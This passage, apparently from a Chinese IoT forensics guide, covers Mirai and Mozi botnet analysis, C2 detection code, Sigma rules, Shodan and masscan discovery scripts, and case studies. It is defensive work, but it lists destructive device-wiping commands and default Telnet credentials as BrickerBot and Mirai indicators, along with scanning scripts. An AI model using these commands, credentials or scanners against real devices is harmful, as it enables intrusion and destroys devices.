return login_attempts Mirai 变种 加密方式 端口扫描范围 特征端口 Payload 特征 Mirai 原版 无加密 TCP 23-2323 23, 2323 裸 TCP Telnet Masuta XOR 加密 TCP 23-2323 23, 2323 0x41 XOR key Satori HTTP 扩展 TCP 23, 80, 37215 37215 华为路由器漏洞利用 Mozi P2P + UDP TCP 23, 37215, 52869 37215, 52869 UPnP SSDP 利用 Ryuk IoT HTTP C2 TCP 23 23 Webshell 植入 Moobot HTTP + DNS TCP 23, 80, 5555 5555 ADB 利用 BotenaGo HTTP TCP 80, 8080 80, 8080 Go 编写, Router 漏洞
BotenaGo/Mozi 变种分析 Mozi P2P C2 通信分析 :
from scapy.all import rdpcap, UDP, TCP, Raw
import struct
def analyze_mozi_p2p (pcap_file):
packets = rdpcap(pcap_file)
p2p_nodes = set()
c2_commands = []
for pkt in packets:
if pkt. haslayer(UDP) and pkt[UDP]. dport == 16823 :
payload = bytes(pkt[UDP]. load)
if len(payload) > 10 :
if payload[:4 ] == b ' \x00\x00\x00\x00 ' :
c2_commands. append({
'src' : pkt[IP]. src,
'command' : payload. hex(),
'time' : float(pkt. time)
})
if pkt. haslayer(TCP) and pkt[TCP]. dport in (23 , 37215 , 52869 ):
p2p_nodes. add(pkt[IP]. src)
print(f "Unique P2P nodes: { len(p2p_nodes)} " )
print(f "C2 commands observed: { len(c2_commands)} " )
return p2p_nodes, c2_commands IoT 恶意软件持久化机制 IoT 恶意软件的持久化手段与传统恶意软件有显著差异,需要重点关注以下机制:
持久化机制 实现方式 检测方法 取证证据 crontab 定时任务下载执行 crontab -lcrontab 文件变更 init.d 系统启动脚本 /etc/init.d/ 检查脚本文件哈希 rc.local 启动后执行 /etc/rc.local配置文件内容 WebShell Web 后门植入 文件完整性校验 Web 访问日志 硬链接替换 替换系统命令 ls -la /bin/busybox二进制文件哈希 LD_PRELOAD 共享库注入 cat /etc/ld.so.preload库文件哈希 Udev 规则 设备触发执行 /etc/udev/rules.d/规则文件内容 Watchdog 看门狗重启 进程监控 进程生命周期日志
crontab -l
ls -la /etc/init.d/
cat /etc/rc.local
cat /etc/ld.so.preload
find /etc/udev/rules.d/ -type f -exec cat {} \;
md5sum /bin/busybox /bin/sh /bin/bash C2 通信模式分析 IoT 恶意软件使用多种 C2 通信模式,需要针对性的检测策略。
import dns.resolver
import requests
import socket
def detect_dns_tunneling (domain, threshold= 50 ):
queries = []
try :
for record_type in ['TXT' , 'CNAME' , 'MX' , 'A' ]:
answers = dns. resolver. resolve(domain, record_type)
for rdata in answers:
queries. append(str(rdata))
except Exception :
pass
suspicious = [q for q in queries if len(q) > threshold]
return {
'domain' : domain,
'total_queries' : len(queries),
'suspicious_long' : len(suspicious),
'samples' : suspicious[:5 ]
}
def detect_http_c2 (host, path= "/bot/config" ):
indicators = {
'default_uri' : False ,
'user_agent_match' : False ,
'response_pattern' : False
}
try :
resp = requests. get(f "http:// { host}{ path} " , timeout= 10 )
indicators['status_code' ] = resp. status_code
c2_uas = ['Mirai' , 'bot' , 'Go-http' , 'libcurl' , 'Wget' ]
ua = resp. headers. get('User-Agent' , '' )
if any(c2 in ua for c2 in c2_uas):
indicators['user_agent_match' ] = True
if resp. status_code == 200 and len(resp. content) > 0 :
if b ' \x00 ' in resp. content[:100 ]:
indicators['response_pattern' ] = True
except Exception :
pass
return indicators C2 通信模式 协议 检测方法 典型 IOC HTTP 明文 TCP 80/8080 URI 模式匹配 /bot/config, /cmd.php DNS 隧道 UDP 53 查询频率分析 长子域名、TXT 记录 IRC 隧道 TCP 6667 IRC 协议检测 #botnet channel P2P UDP 16823 P2P 节点发现 Mozi 特征端口 HTTPS TCP 443 证书分析 自签名/过期证书 MQTT TCP 1883 Topic 模式 异常 topic 发布 WebSocket TCP 80/443 升级请求 ws:// 连接
僵尸网络规模估算与 Botnet 指纹 import socket
import struct
def scan_telnet_candidates (target_range, port= 23 , timeout= 2 ):
candidates = []
for ip in target_range:
try :
sock = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
sock. settimeout(timeout)
result = sock. connect_ex((ip, port))
if result == 0 :
banner = sock. recv(1024 )
candidates. append({
'ip' : ip,
'port' : port,
'banner' : banner. decode('utf-8' , errors= 'ignore' ),
'likely_infected' : any(kw in banner. decode('utf-8' , errors= 'ignore' ). lower()
for kw in ['login:' , ' BusyBox' , 'DD-WRT' ])
})
sock. close()
except Exception :
pass
return candidates 0x08 证据强度分层与案例关联 证据分级体系 IoT 取证中的证据需要按强度进行分级,以便于法庭采纳和事件关联分析。以下三级分类体系基于证据的确定性、可重复性和法律效力。
确认恶意(红色级别) 当证据直接证明恶意行为时,属于最高确定性级别。以下是典型示例:
证据类型 具体示例 取证方法 MITRE ATT&CK 固件后门代码 设备固件中发现反向 Shell 函数 Binwalk 提取 + 反编译 T1195 Supply Chain Compromise 僵尸网络 Payload Mirai Bot 二进制文件在 /tmp 中 文件系统检查 + 签名匹配 T1583.005 IoT Infrastructure 数据外传 C2 通信 设备与已知 C2 域名建立连接 流量抓包 + Threat Intel T1071 Application Layer Protocol 硬编码后门账户 固件中存在未文档化的管理员账户 固件逆向 + 字符串提取 T1190 Exploit Public-Facing 勒索加密行为 IoT 存储设备文件被加密 文件系统完整性检查 T1486 Data Encrypted for Impact
FALLBACK_IOC = {
"c2_domains" : ["malware-c2.example.com" , "botnet-hub.example.net" ],
"c2_ips" : ["203.0.113.50" , "198.51.100.23" ],
"malware_hashes" : ["a1b2c3d4e5f6..." , "deadbeef1234..." ],
"suspicious_ports" : [2323 , 16823 , 5555 , 37215 ],
"exploit_signatures" : ["HP:APM|APM|APM|" , "cmd+enable+shell" ]
} 高度可疑(黄色级别) 高度可疑的证据需要进一步关联分析才能确认:
证据类型 具体示例 取证方法 进一步确认方式 异常 MQTT Topic 设备订阅 admin/debug 等敏感 topic MQTT 流量分析 检查消息内容是否为控制指令 未授权 BLE 连接 检测到未知 MAC 地址的 BLE 配对 BLE 嗅探分析 查询 MAC OUI 厂商信息 固件篡改痕迹 固件校验和不匹配 文件哈希对比 提取新固件进行完整分析 异常 DNS 查询 设备产生大量 DNS TXT 查询 DNS 日志分析 查询域名是否属于已知 DGA 异常网络流量 IoT 设备向外部 IP 上传大文件 流量分析 + NetFlow 确认目标 IP 归属与用途
需要关注(绿色级别) 绿色级别证据可能不直接指向恶意行为,但表明安全配置存在缺陷:
证据类型 具体示例 取证方法 建议措施 默认凭据 设备使用 admin/admin 登录 凭据测试 立即修改默认密码 过时固件版本 固件版本存在已知 CVE 版本查询 升级至最新版本 UPnP 暴露 设备 UPnP 向公网暴露端口 端口扫描 关闭 UPnP 或限制访问 开放 Telnet 设备 Telnet 端口对外可达 Nmap 扫描 禁用 Telnet,使用 SSH 无 TLS 加密 MQTT/CoAP 通信明文传输 协议分析 启用 TLS 加密
EVIDENCE_CONFIDENCE = {
"firmware_backdoor" : 0.95 ,
"botnet_payload" : 0.98 ,
"c2_communication" : 0.90 ,
"hardcoded_credential" : 0.85 ,
"anomalous_mqtt" : 0.60 ,
"unauthorized_ble" : 0.55 ,
"default_password" : 0.40 ,
"outdated_firmware" : 0.30 ,
"upnp_exposed" : 0.25 ,
"open_telnet" : 0.35
}
def assess_evidence (evidence_type, additional_context= None ):
base_confidence = EVIDENCE_CONFIDENCE. get(evidence_type, 0.5 )
if additional_context:
if additional_context. get("confirmed_c2" ):
base_confidence = min(base_confidence + 0.2 , 0.99 )
if additional_context. get("multiple_indicators" ):
base_confidence = min(base_confidence + 0.15 , 0.99 )
if additional_context. get("false_positive_possible" ):
base_confidence = max(base_confidence - 0.2 , 0.1 )
if base_confidence >= 0.85 :
level = "确认恶意"
elif base_confidence >= 0.50 :
level = "高度可疑"
else :
level = "需要关注"
return {
'evidence_type' : evidence_type,
'confidence' : base_confidence,
'level' : level,
'action' : '立即处置' if level == '确认恶意' else '进一步调查' if level == '高度可疑' else '安全加固'
} 0x09 自动化检测与狩猎 Sigma 规则 Sigma 规则可用于检测 IoT 设备的异常网络连接和攻击行为。
title : IoT Device Telnet Scanning Activity
id : 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status : experimental
description : Detects IoT devices performing Telnet scanning which may indicate Mirai-like infection
references :
- https://attack.mitre.org/techniques/T1046/
author : Security Analyst
date : 2026 /07/05
logsource :
category : firewall
product : generic
detection :
sel :
dst_port :
- 23
- 2323
direction : outgoing
bytes_out :
- '> 1024'
filter :
src_ip :
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
condition : sel and not filter
falsepositives :
- Legitimate Telnet administration
level : high
tags :
- attack.lateral_movement
- attack.t1021
---
title : IoT Device Anomalous DNS Queries
id : b1a2c3d4-e5f6-7a8b-9c0d-1e2f3a4b5c6d
status : experimental
description : Detects IoT devices performing suspicious DNS queries indicative of C2 communication
author : Security Analyst
date : 2026 /07/05
logsource :
category : dns
product : generic
detection :
sel :
query_type :
- TXT
- CNAME
query_length :
- '> 50'
timeframe : 5m
condition : sel | count() by src_ip > 100
falsepositives :
- Legitimate DNS-based services
level : medium
tags :
- attack.command_and_control
- attack.t1071.004
---
title : IoT Firmware Modification Detection
id : c2d3e4f5-a6b7-8c9d-0e1f-2a3b4c5d6e7f
status : stable
description : Detects firmware modification or update on IoT devices
author : Security Analyst
date : 2026 /07/05
logsource :
category : process_creation
product : linux
detection :
sel :
Image|endswith :
- '/sysupgrade'
- '/fw_update'
- '/fwupgrade'
CommandLine|contains :
- 'write'
- 'mtd'
condition : sel
falsepositives :
- Authorized firmware updates
level : high
tags :
- attack.persistence
- attack.t1542 Shodan 资产发现与批量搜索 shodan search "port:1883 mqtt" --fields ip_str,port,org,product --limit 100
shodan search "has_screenshot:true product:Mosquitto" --fields ip_str,port,org
shodan search "port:502 modbus" --fields ip_str,port,org,product --limit 50
shodan search "port:5683 coap" --fields ip_str,port,org --limit 50 Shodan API 批量扫描脚本 :
import shodan
import json
import time
SHODAN_API_KEY = "YOUR_SHODAN_API_KEY"
api = shodan. Shodan(SHODAN_API_KEY)
QUERIES = [
'port:1883 mqtt' ,
'port:502 modbus' ,
'port:5683 coap' ,
'port:23 "login:"' ,
'port:2323 "BusyBox"' ,
'product:"GoAhead-Webs"' ,
'http.title:"THINKING"' ,
'port:37215 "Huawei"' ,
'port:52869 "Realtek"' ,
'has_screenshot:true product:"DVR"' ,
]
def batch_scan ():
all_results = []
for query in QUERIES:
try :
results = api. search(query, limit= 50 )
for match in results['matches' ]:
all_results. append({
'ip' : match ['ip_str' ],
'port' : match ['port' ],
'org' : match . get('org' , 'Unknown' ),
'product' : match . get('product' , 'Unknown' ),
'query' : query,
'timestamp' : match . get('timestamp' , '' ),
'vulns' : match . get('vulns' , [])
})
time. sleep(1 )
except shodan. APIError as e:
print(f "Error: { e} " )
with open('iot_assets.json' , 'w' ) as f:
json. dump(all_results, f, indent= 2 )
print(f "Total assets found: { len(all_results)} " )
vuln_count = sum(1 for r in all_results if r. get('vulns' ))
print(f "Assets with known CVEs: { vuln_count} " )
return all_results
batch_scan() Python 自动化分析脚本 固件自动化提取与分析流水线 :
import subprocess
import os
import hashlib
import json
def analyze_firmware (firmware_path):
results = {
'file' : firmware_path,
'hash' : {},
'binwalk' : {},
'credentials' : [],
'network' : {},
'suspicious' : []
}
with open(firmware_path, 'rb' ) as f:
data = f. read()
results['hash' ]['md5' ] = hashlib. md5(data). hexdigest()
results['hash' ]['sha256' ] = hashlib. sha256(data). hexdigest()
results['size' ] = len(data)
binwalk_result = subprocess. run(
['binwalk' , firmware_path],
capture_output= True , text= True
)
results['binwalk' ]['raw' ] = binwalk_result. stdout
extract_result = subprocess. run(
['binwalk' , '-eM' , firmware_path],
capture_output= True , text= True
)
extracted_dir = firmware_path + ".extracted"
if os. path. exists(extracted_dir):
find_result = subprocess. run(
['find' , extracted_dir, '-name' , 'shadow' ],
capture_output= True , text= True
)
for shadow_file in find_result. stdout. strip(). split(' \n ' ):
if os. path. isfile(shadow_file):
with open(shadow_file) as f:
for line in f:
parts = line. strip(). split(':' )
if len(parts) >= 2 and parts[1 ] not in ('x' , '*' , '!' , '!!' ):
results['credentials' ]. append({
'file' : shadow_file,
'username' : parts[0 ],
'hash_type' : 'hardcoded'
})
strings_result = subprocess. run(
['strings' , extracted_dir + '/squashfs-root/usr/bin/app' ],
capture_output= True , text= True
)
for line in strings_result. stdout. split(' \n ' ):
if any(kw in line. lower() for kw in ['password' , 'secret' , 'api_key' , 'token' ]):
results['suspicious' ]. append(line[:100 ])
return results MQTT 流量分析脚本 :
from scapy.all import rdpcap, TCP, Raw
import json
from collections import Counter, defaultdict
def analyze_mqtt_traffic (pcap_file):
packets = rdpcap(pcap_file)
mqtt_messages = defaultdict(list)
topic_stats = Counter()
suspicious_patterns = []
for pkt in packets:
if pkt. haslayer(Raw) and pkt. haslayer(TCP):
payload = bytes(pkt[Raw]. load)
if len(payload) < 2 :
continue
msg_type = (payload[0 ] >> 4 ) & 0x0F
if msg_type == 3 and len(payload) > 4 :
topic_len = (payload[1 ] << 8 ) | payload[2 ]
if topic_len < len(payload):
topic = payload[3 :3 + topic_len]. decode('utf-8' , errors= 'ignore' )
message_payload = payload[3 + topic_len:]. decode('utf-8' , errors= 'ignore' )
topic_stats[topic] += 1
mqtt_messages[topic]. append({
'time' : float(pkt. time),
'src' : pkt[IP]. src if pkt. haslayer(IP) else 'unknown' ,
'payload_len' : len(message_payload),
'payload_preview' : message_payload[:100 ]
})
if any(kw in topic. lower() for kw in ['admin' , 'debug' , 'shell' , 'exec' ]):
suspicious_patterns. append(f "Sensitive topic: { topic} " )
if 'password' in message_payload. lower() or 'token' in message_payload. lower():
suspicious_patterns. append(f "Credential in topic { topic} : { message_payload[:50 ]} " )
return {
'total_topics' : len(topic_stats),
'topic_distribution' : dict(topic_stats. most_common(20 )),
'suspicious' : suspicious_patterns,
'device_count' : len(set(msg['src' ] for msgs in mqtt_messages. values() for msg in msgs))
} MQTT 取证检查项 检测方法 工具 输出格式 Topic 枚举 通配符订阅 ‘#’ MQTT Explorer Topic 列表 未认证连接 匿名 CONNECT 测试 mosquitto_sub 连接成功/失败 Payload 明文 消息内容检查 Wireshark MQTT dissect 消息原文 异常 QoS QoS 2 频繁使用分析 tshark 过滤 QoS 统计 遗嘱消息 Last Will 配置检查 协议分析 配置列表
Nmap/Masscan 扫描脚本发现 IoT 资产 Masscan 快速端口扫描 :
masscan 10.0.0.0/8 -p23,80,443,502,1883,37215,52869,5683 --rate= 10000 -oJ masscan_iot.json
masscan 192.168.0.0/16 -p23,2323,8080,8443 --rate= 5000 -oL masscan_lan.txt Nmap IoT 特征检测 :
nmap -sV -p 23,80,443,502,1883,37215,52869,5683 --script= default,iot 10.0.0.0/24
nmap --script= mqtt-connect -p 1883 192.168.1.0/24
nmap -sU -p 161,1900,5683 --script= snmp-info,upnp-info,coap-discover 192.168.1.0/24 自动化 IoT 资产发现脚本 :
import subprocess
import json
import re
def discover_iot_assets (target_range):
assets = []
masscan_cmd = f "masscan { target_range} -p23,80,443,502,1883,37215,52869 --rate=5000 -oJ -"
result = subprocess. run(masscan_cmd, shell= True , capture_output= True , text= True )
try :
open_ports = json. loads(result. stdout)
except json. JSONDecodeError:
open_ports = []
for entry in open_ports:
ip = entry. get('ip' , '' )
ports = entry. get('ports' , [])
for port_info in ports:
port = port_info. get('port' , 0 )
nmap_result = subprocess. run(
f "nmap -sV -p { port} --version-intensity 0 { ip} " ,
shell= True , capture_output= True , text= True
)
service = re. search(r '(\d+)/tcp\s+\w+\s+(.*)' , nmap_result. stdout)
service_info = service. group(2 ). strip() if service else 'unknown'
asset_type = classify_iot_device(port, service_info)
assets. append({
'ip' : ip,
'port' : port,
'service' : service_info,
'type' : asset_type,
'risk' : assess_iot_risk(port, service_info)
})
return assets
def classify_iot_device (port, service):
port_map = {
23 : 'Telnet Device' ,
80 : 'HTTP Device' ,
443 : 'HTTPS Device' ,
502 : 'Modbus/SCADA' ,
1883 : 'MQTT Broker' ,
37215 : 'Huawei Device' ,
52869 : 'UPnP Device'
}
return port_map. get(port, 'Unknown IoT' )
def assess_iot_risk (port, service):
high_risk_ports = [23 , 502 , 37215 , 52869 ]
if port in high_risk_ports:
return 'HIGH'
if 'default' in service. lower() or 'admin' in service. lower():
return 'HIGH'
return 'MEDIUM' BLE 广告包解析器 BLE 广播数据自动解析 :
import struct
from datetime import datetime
def parse_ble_advertisement (data):
result = {
'timestamp' : datetime. now(). isoformat(),
'address_type' : data[0 ] & 0x01 ,
'length' : len(data),
'ad_structures' : []
}
offset = 1
while offset < len(data) - 1 :
length = data[offset]
if length == 0 :
break
ad_type = data[offset + 1 ] if offset + 1 < len(data) else 0
ad_data = data[offset + 2 :offset + 1 + length] if offset + 1 < len(data) else b ''
type_names = {
0x01 : 'Flags' ,
0x02 : 'Incomplete List of 16-bit UUIDs' ,
0x03 : 'Complete List of 16-bit UUIDs' ,
0x08 : 'Shortened Local Name' ,
0x09 : 'Complete Local Name' ,
0x0A : 'TX Power Level' ,
0xFF : 'Manufacturer Specific Data' ,
0x16 : 'Service Data - 16-bit UUID'
}
parsed = {
'type' : type_names. get(ad_type, f 'Unknown (0x { ad_type: 02X } )' ),
'type_id' : ad_type,
'data_hex' : ad_data. hex()
}
if ad_type in (0x08 , 0x09 ):
parsed['name' ] = ad_data. decode('utf-8' , errors= 'ignore' )
elif ad_type == 0xFF and len(ad_data) >= 2 :
parsed['company_id' ] = struct. unpack('<H' , ad_data[:2 ])[0 ]
parsed['manufacturer_data' ] = ad_data[2 :]. hex()
elif ad_type == 0x16 and len(ad_data) >= 2 :
parsed['service_uuid' ] = hex(struct. unpack('<H' , ad_data[:2 ])[0 ])
parsed['service_data' ] = ad_data[2 :]. hex()
result['ad_structures' ]. append(parsed)
offset += length + 1
return result
def scan_and_analyze_ble (interface, duration= 30 ):
import subprocess
cmd = f "sudo btlejack -f 37 -c -t { duration} "
proc = subprocess. run(cmd, shell= True , capture_output= True , text= True )
parsed_devices = []
for line in proc. stdout. split(' \n ' ):
if 'BLE packet' in line:
try :
hex_data = line. split(':' )[- 1 ]. strip(). replace(' ' , '' )
raw = bytes. fromhex(hex_data)
parsed = parse_ble_advertisement(raw)
if parsed['ad_structures' ]:
parsed_devices. append(parsed)
except Exception :
pass
return parsed_devices 0x0A 公开案例分析 案例一:Mirai 僵尸网络 (2016-至今) Mirai 是 IoT 安全领域最具影响力的恶意软件家族,自 2016 年首次出现以来持续演化,催生了数十个变种。
MITRE ATT&CK 映射 :
ATT&CK 阶段 技术编号 技术名称 Mirai 中的实现 Reconnaissance T1595 Active Scanning TCP 端口 23/2323 扫描 Initial Access T1190 Exploit Public-Facing Telnet 默认凭据爆破 Execution T1059.004 Unix Shell busybox 命令执行 Persistence T1037 Boot or Logon Init /etc/init.d/ 脚本植入 Defense Evasion T1027 Obfuscated Files XOR 加密 Payload Credential Access T1110.001 Password Guessing 默认凭据字典爆破 Discovery T1046 Network Service Scan 扫描其他 IoT 设备 Impact T1498 Network DoS DDoS 放大攻击
完整攻击链 :
互联网扫描 → Telnet 端口发现 → 默认凭据字典爆破 → 登录成功
→ 下载 Mirai Bot 二进制 → 执行感染 → 连接 C2 Server
→ 开始扫描新目标 → 接收 DDoS 攻击指令 → 发起攻击Mirai 源码泄露后的影响 :
2016 年 9 月,Mirai 源码在 Hackforums 论坛公开泄露,导致以下连锁反应:
源码在 GitHub 上获得超过 600 个 Fork 催生了 Masuta、Satori、Mozi、BotenaGo 等数十个变种 Mirai 变种至今仍占 IoT 恶意软件的 40% 以上 DDoS 攻击峰值从 1.2 Tbps(Mirai 原版)持续增长 IOC 列表 :
MIRAI_IOC = {
"c2_ports" : [23 , 2323 , 5555 , 37215 ],
"scanner_ports" : [23 , 2323 , 5555 , 37215 , 52869 ],
"process_names" : ["-sh" , "-bash" , "busybox" , "mirai.*" ],
"file_paths" : [
"/tmp/" , "/var/run/" , "/dev/shm/" ,
"/etc/init.d/S97" , "/var/tmp/"
],
"known_c2_ips" : [
"185.107.94.111" , "185.215.113.39" ,
"194.26.29.103" , "91.215.85.142"
],
"http_uris" : ["/cdn-cgi/" ],
"attack_types" : [
"ACK flood" , "SYN flood" , "UDP flood" ,
"GRE flood" , "DNS amplification" ,
"CHARGEN amplification" , "SSDP amplification"
],
"credentials" : {
"root" : ["root" , "admin" , "password" , "123456" ],
"admin" : ["admin" , "password" , "1234" , "root" ],
"support" : ["support" , "password" ],
"user" : ["user" , "password" , "admin" ]
}
} 经验教训 :
默认凭据是 IoT 设备最大的安全风险,厂商必须在首次使用时强制修改 IoT 设备的网络隔离至关重要,应限制出站连接 Mirai 源码泄露表明开源安全研究需要负责任的漏洞披露流程 ISP 层面的 BCP38/BCP84 可以有效阻止 IP 欺骗攻击 案例二:Verkada 摄像头大规模入侵 (2021) 2021 年 3 月,安全研究人员利用泄露的超级管理员凭据入侵了 Verkada 云监控平台,访问了超过 150,000 台监控摄像头。
MITRE ATT&CK 映射 :
ATT&CK 阶段 技术编号 技术名称 实际实现 Initial Access T1078 Valid Accounts 泄露的超级管理员凭据 Initial Access T1133 External Remote Services Verkada Web 控制台 Execution T1059 Command and Scripting 云平台 API 调用 Collection T1113 Screen Capture 摄像头实时视频流 Collection T1125 Video Capture 摄像头录像回放 Exfiltration T1041 Exfiltration Over C2 数据下载 Impact T1565.001 Data Manipulation: Stored 删除审计日志
攻击手法详解 :
攻击者使用泄露的超级管理员凭据登录 Verkada 云控制台,该凭据来源于 Verkada 内部测试环境的硬编码。通过该凭据,攻击者可以:
实时观看所有客户摄像头的画面 访问摄像头的历史录像(最长 30 天) 查看客户的公司名称、WiFi 凭据等敏感信息 使用摄像头的面部识别功能搜索特定人员 数据泄露范围 :
受影响区域 典型客户类型 泄露数据 美国 医院、学校、警局、企业 实时视频、公司信息 英国 医疗机构、教育机构 实时视频、WiFi 凭据 全球 医院、监狱、健身房 面部识别数据、视频回放
防护失效原因分析 :
防护层 失效原因 应有的措施 身份认证 超级管理员凭据泄露 多因素认证 (MFA) 权限管理 超级管理员权限过大 最小权限原则 审计日志 日志被攻击者删除 集中式日志存储 网络隔离 内部测试环境与生产环境共享凭据 环境隔离 入侵检测 无异常登录检测 异常行为分析
IOC 列表 :
VERKADA_IOC = {
"attack_ip" : "34.106.230.180" ,
"login_timestamp" : "2021-03-09T15:00:00Z" ,
"affected_cameras" : 150000 ,
"leaked_credentials" : True ,
"post_compromise_actions" : [
"video_streaming_access" ,
"historical_footage_download" ,
"wifi_credential_extraction" ,
"facial_recognition_search" ,
"audit_log_deletion"
],
"detection_indicators" : [
"unusual_login_location" ,
"bulk_video_download" ,
"api_rate_limit_exceeded" ,
"audit_log_gaps"
]
} 经验教训 :
云平台的超级管理员凭据必须启用 MFA 内部测试环境与生产环境必须严格隔离 监控摄像头等敏感 IoT 设备的云平台需要更高级别的安全控制 集中式日志存储可以防止攻击者删除审计证据 可选案例:其他 IoT 僵尸网络 僵尸网络 出现时间 影响设备数 主要特征 攻击方式 BrickerBot 2017 ~10M 永久损坏设备 PDoS 攻击 Hajime 2017 ~3M “白帽"蠕虫 P2P 文件共享 Mozi 2019 ~100K+ P2P 架构 UPnP/弱口令 Mirai 2016 ~600K+ 开源变种 Telnet 爆破 BotenaGo 2021 未知 Go 语言编写 多漏洞利用 IoT_Reaper 2017 ~10K Web 漏洞利用 不依赖默认密码
BrickerBot PDoS 攻击分析 :
BrickerBot 与 Mirai 不同,它不试图建立僵尸网络,而是永久损坏(brick)不安全的 IoT 设备。其攻击手法包括:
通过 Telnet 登录后执行 rm -rf 操作 修改设备的 ext4 文件系统导致无法启动 使用 busybox 命令覆盖关键系统文件 BRICKERBOT_IOC = {
"attack_type" : "Permanent Denial of Service (PDoS)" ,
"telnet_credentials" : [
"admin:admin" , "root:root" , "admin:1234" ,
"root:vizxv" , "admin:admin1234"
],
"damage_commands" : [
"rm -rf /bin /sbin /usr/bin /usr/sbin" ,
"mkfs.ext4 /dev/mtdblock4" ,
"echo 1 > /proc/sys/net/ipv4/tcp_syncookies"
],
"target_protocols" : ["Telnet (23)" , "SSH (22)" ],
"motivation" : "Hacktivism - protest against insecure IoT devices"
} 0x0B 参考资料 标准与框架 OWASP IoT Top 10 (2023)
NIST IoT 安全指南
NIST SP 800-183: Networks of Things
IoT 恶意软件研究 Mirai 源码分析论文
Mirai Botnet: A Survey
工具与技术 Binwalk 官方文档
FACT Firmware Analysis Platform
Shodan 文档
协议安全 Bluetooth SIG 安全文档
MQTT 协议规范 (v5.0)
MITRE ATT&CK 框架 MITRE ATT&CK - IoT 相关技术
MITRE ATLAS - IoT 攻击矩阵
0x0C 总结 IoT 取证是数字取证领域的新兴方向,面临设备异构性、协议多样性和资源受限等独特挑战。本文系统性地覆盖了从设备分类、协议分析、固件逆向到恶意软件检测的全链路方法论。
核心要点回顾 :
领域 关键技术 核心工具 风险等级 智能家居取证 RTSP/ONVIF 分析、存储卡恢复 onvif-probe, photorec 中高 协议取证 MQTT/CoAP/BLE/Zigbee MQTT Explorer, KillerBee 高 固件逆向 Flash Dump、Binwalk、JTAG Binwalk, OpenOCD, FACT 高 工业 IoT Modbus/OPC UA 协议分析 pymodbus, Wireshark 极高 恶意软件 Mirai 变种检测、C2 分析 Volatility, YARA 极高 自动化狩猎 Shodan、Sigma、Masscan Sigma CLI, Shodan CLI 中
最佳实践建议 :
资产清点 :使用 Shodan/Masscan 持续扫描和记录所有 IoT 设备网络隔离 :将 IoT 设备置于独立 VLAN,限制出站连接固件管理 :定期审计设备固件版本,及时更新补丁凭据管理 :禁用默认凭据,强制修改出厂密码流量监控 :部署 IoT 专用流量分析系统,检测异常通信模式日志集中 :将所有 IoT 设备日志收集到集中式 SIEM 平台应急响应 :建立 IoT 安全事件响应流程,明确取证采集步骤供应链安全 :在采购阶段评估设备安全能力,选择通过安全认证的产品IoT 安全威胁将持续演化,取证方法也需要不断更新。安全研究人员应持续关注新出现的 IoT 恶意软件家族、协议漏洞和攻击技术,保持对最新威胁的感知能力。